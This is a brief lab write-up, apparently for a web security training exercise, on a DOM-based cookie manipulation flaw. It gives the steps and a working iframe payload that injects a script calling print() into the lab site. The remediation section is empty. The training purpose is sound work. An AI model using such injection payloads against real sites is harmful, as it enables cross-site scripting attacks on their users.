SCENARIO

The application contains a DOM based client-side cookie manipulation vulnerability which redirects the user to our exploit server. We’ll try to exploit this vulnerability by forcing the user to inject a cookie that will cause XSS on a different page and call the print() function.

**PROCEDURE**

1. Access the application and open any blog to inspect its source code.
2. Upon inspecting we see that there is a button for going back to the home page which contains a cookie parameter named lastViewedProduct:

document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'

1. We notice that the URL parameter is the actual value of that cookie after using cookie inspector.
2. So, according to that we will create a payload and navigate to it by injecting it into our URL which will change the URL parameter to force the application to go back to a different page.

**PAYLOAD**

<iframe src="https://0a62004303cc6e3b82f84273003500a2.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://0a62004303cc6e3b82f84273003500a2.web-security-academy.net';window.x=1;">

**REMEDIATION**